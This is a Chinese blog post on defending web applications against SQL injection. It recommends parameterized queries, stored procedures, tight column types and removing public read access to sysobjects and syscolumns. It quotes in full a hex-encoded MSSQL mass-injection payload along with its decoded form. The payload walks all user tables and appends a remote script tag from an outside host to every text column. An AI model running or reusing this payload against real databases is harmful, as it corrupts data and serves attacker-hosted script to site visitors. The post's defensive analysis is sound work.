`
holoblog
  • 浏览: 1259486 次
博客专栏
E0fcf0b7-6756-3051-9a54-90b4324c9940
SQL Server 20...
浏览量:19462
文章分类
社区版块
存档分类
最新评论

注入

 
阅读更多

被SQL注入了,自己是否认真研究过,根源在哪里,网络上那些垃圾文章的确没有什么有效的,这种痛苦我是经历过的,自己自己安静下来,寻求解决问题的根本才是关键。
SQL注入的原因很简单,google之后大家也都心知肚明,就那么回事。在程序不做任何处理拼接SQL语句,不被注入,不被盯上都很难。
给你几点中肯的建议:
1.检查是否已经关闭错误提示,可以修改配置文件来实现,这里不针对某种特定语言或者框架而言,都可以实现的,具体操作google。
2.应用程序中,对于GET方式提交,从URL中直接获取参数值未作任何处理直接在程序中拼接SQL语句,通过应用程序中的数据库组建直接运行拼接之后的SQL语句,这种白痴做法对于一个菜鸟来说是最常见的行为,这也是菜鸟人生中非常常见的一幕。
解决办法:关键词,参数化、存储过程化,这也是彻底根绝SQL注入的唯一方法。我以自己最为熟悉的ADO.NET为例,SqlParameter能为你提供一个非常好的沙盒模型,强制执行参数类型和长度检查,并同时确保注入数据库中的代码被视为文本数据(而非可执行语句)。
如果在存储过程中,构建动态SQL语句,那么也可以通过参数化的手段来有效避免SQL注入,要完全做到根绝,任何人都不敢打包票。
POST提交和cookie注入也是一样,对于所有的提交的数据入库之前所有数据来源都应该被视为不可信的,必须要经过验证(客户端和服务器端均需要、甚至数据库端的必要验证也是必须的)方可入库,宁可存在错杀不可放过一个,呵呵。

3.数据库设计,也是有效避免SQL注入非常关键的一环。最近流行的SQL注入模式手段颇为高明,采取16进制编码,类似于如下:
;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
解析后:
DECLARE @S CHAR(4000);SET @S=CAST(DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"> </title> <script src="http://js.users.51.la/1981162.js"> </script> <!--'' where '+@C+' not like ''%"> </title> <script src="http://js.users.51.la/1981162.js"> </script> <!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS CHAR(4000));EXEC(@S);

看到上面的代码,如果您对数据库稍微有所了解,会联想到以下几个关键词:游标,sysobjects、syscolumns。这也就是为什么有人说,去掉public(这个是什么,针对MSSQL来说,这个是所有数据库用户默认赋予的基本角色,可以通过MSSQL的企业管理器来配置的,修改这个角色所能具备操作权限)角色中sysobjects与syscolumns对象的select访问权限。如何操作不再复述,不会的菜鸟,自己google,凡是自己动手理解和记忆会更为深刻,这是提升自我必须走的道路。

上述代码还透露出一个信息,游标会遍历该库下的所有表,注入不是针对某张表,而是整个数据库。例如某张表中的字段为text类型,那么会转换为char(4000),然后进行update,你会发现,text类型字段的存储内容早已逝去……,这是很恶劣很头疼的。

在构建整个数据库时候,对于每一张表,都需要经过深思熟虑的,这个工作应该交给有经验的专职DBA来做,但是在中国,这种工作多半由我们程序员自行完成了。那么我谈谈在工作中总结下来的几个小经验:
1. 如果一个字段能使用整型、浮点型、日期类型的,切勿随意使用字符串类型代替。
2. 以MSSQL为例,varchar/nvarchar这些字符串类型,在企业管理器中使用设计器设计时候,会默认为50字节,如果你默许而无动于衷,那么第一你有可能浪费了不少空间,第二为注入留下了余地,你本身该字段最多只可能使用到20个字节,你偏偏默认为50,这能怪谁呢?怪自己懒惰,呵呵。
3. 在存储过程中构造动态SQL语句的时候,务必使用好QUOTENAME 和 REPLACE 函数,可以为你带来一定安全保证。
4. 让我想想,一时半会总结不了这么多,等待下一次的井喷的时候,再告诉你吧,呵呵。

很晚了,都临晨3点了,看了许多朋友都困扰SQL注入,有感而发,从自己的实际工作中出发,说了些感触,欢迎拍砖,呵呵。

分享到:
评论

相关推荐

    MagicWall-master ( 火绒注入demo ).zip_DEMO_magic wall_内核注入_火绒注入_驱动注入

    火绒注入技术是一种在安全领域广泛应用的技术,尤其在反病毒软件和系统防护工具中,它被用来提升程序的安全性和效率。火绒注入DEMO是针对这一技术的一个演示,旨在帮助理解其工作原理和实现方式。这个压缩包...

    驱动注入DLL指定进程.rar_dll注入_驱动 dll注入_驱动注入_驱动级注入dll_驱动进程

    驱动注入是计算机编程中一种高级技术,主要用于在目标进程中加载动态链接库(DLL),从而实现对目标进程的扩展或控制。这里的"驱动注入DLL到进程"是指通过驱动程序来完成DLL的注入操作,这种方式通常涉及到操作系统...

    驱动注入,驱动注入工具,C,C++

    驱动注入是一种高级的系统编程技术,常用于软件开发和逆向工程中,它涉及操作系统内核、设备驱动程序以及用户模式应用程序之间的交互。在本文中,我们将深入探讨驱动注入的概念、工作原理,以及如何实现驱动注入,...

    分别用C++和C#进行dll进程注入(微信也能注入)

    工程包括:被注入的目标程序(C++ WinForm),注入dll, 注入程序(C++ WinForm),注入程序(C# WinForm),通过C++和C# 都可将dll注入目标程序中,目标程序可修改为其它程序,如微信。 在目录中含有已编译好的程序和dll,...

    SQL手工注入大全:包含各种类型的SQL注入,实现手工注入的乐趣,此资源你值得拥有。

    此资源包含:宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(Sql Server数据库)、SQL手工注入漏洞测试(Access数据库)、SQL手工注入漏洞测试(PostgreSQL数据库)、SQL手工注入漏洞测试(MongoDB...

    通用注入工具无驱版(HOOK注入、远程注入)(DELPHI源码)

    【标题】通用注入工具无驱版(HOOK注入、远程注入)(DELPHI源码)是一款基于DELPHI编程语言开发的轻量级注入工具,它提供了两种主要的注入技术:HOOK注入和远程注入。该工具的无驱动版本意味着它可以在不安装额外驱动的...

    远程注入查看被注入程序使用的dll

    远程注入技术在IT行业中是一种常见的系统操作,常用于调试、监控、安全测试等场景。它涉及到进程间通信(IPC)和动态链接库(DLL)的使用。本示例提供了两个工程,一个是被注入的DLL(RemoteAcessDll),另一个是...

    汇编代码注入器,支持x64和x86

    《汇编代码注入器:x64与x86平台的深入探讨》 汇编代码注入器是一种在软件开发和逆向工程中广泛使用的工具,它允许开发者将汇编代码注入到正在运行的进程或系统中,以实现特定功能或进行调试。本文将围绕这个主题,...

    郁金香代码注入器

    郁金香代码注入器是一种专门用于在目标进程中注入自定义代码的工具,它在IT行业中主要涉及的是系统编程、逆向工程和安全领域。代码注入技术通常被用来调试程序、性能分析,甚至进行恶意活动,如病毒或木马的传播。在...

    SQL注入全面讲解技术文档

    SQL注入是一种常见的网络安全威胁,它利用了Web应用程序中对用户输入数据处理的不足,使得攻击者能够注入恶意的SQL代码,以获取未经授权的数据或者控制数据库服务器。以下是对SQL注入漏洞的全面讲解,包括其原理、...

    sql注入讲解ppt.pptx

    SQL 注入基础知识点总结 SQL 注入是指 web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法...

    SQL 注入天书.pdf

    SQL注入是一种常见的网络安全漏洞,发生在应用程序使用用户输入的SQL代码直接构建数据库查询时。当攻击者能够通过输入恶意SQL语句来控制或篡改数据库查询,他们就能获取敏感信息、修改数据甚至完全控制系统。《SQL...

    郁金香 CALL注入器

    郁金香CALL注入器是一种高级的程序注入技术工具,主要用于软件开发、逆向工程和系统调试等领域。在IT行业中,程序注入通常指的是将一段代码插入到另一个正在运行的进程中的技术,以改变其行为或获取非授权访问权限。...

    SQL注入攻击实验报告

    ### SQL注入攻击实验报告知识点详解 #### 一、实验背景及目的 - **实验背景**:随着互联网技术的发展,Web应用程序越来越广泛地应用于各种场景之中。然而,由于开发者对安全性的忽视,使得许多Web应用程序存在安全...

    SQL注入漏洞全接触.ppt

    "SQL注入漏洞全接触"知识点总结 一、 SQL注入漏洞的定义和原理 * SQL注入漏洞是指攻击者通过构造特殊的输入,来获取或修改服务器上的敏感数据。 * SQL注入漏洞的原理是从客户端提交特殊的代码,从而收集程序及...

    DLL自动注入EXE

    DLL自动注入EXE是指在不修改目标应用程序(EXE)源代码的情况下,通过某种机制使DLL在EXE运行时动态加载到进程内存中,从而实现对EXE功能的扩展或监控。 DLL注入技术主要应用于以下场景: 1. **功能扩展**:当一个...

    SQL注入工具-御剑

    【描述】:“SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑SQL注入工具-御剑” 描述中的重复部分强调了御剑作为SQL注入工具的核心属性。SQL注入是黑客通过构造恶意的SQL语句...

    C#防SQL注入

    C#防SQL注入 C#防SQL注入是指在C#程序中防止SQL注入攻击的方法。SQL注入是一种常见的Web应用程序安全漏洞,攻击者可以通过在输入字段中.inject恶意SQL代码,来访问、修改或删除数据库中的数据。为了防止SQL注入,C#...

    mysql注入辅助程序

    MySQL注入辅助程序是一种专门用于检测和利用MySQL数据库系统安全漏洞的工具。由知名安全专家许云峰开发,这款工具设计给有一定技术基础的用户使用,它可以帮助网络安全专业人员或者开发者定位并修复潜在的SQL注入...

Global site tag (gtag.js) - Google Analytics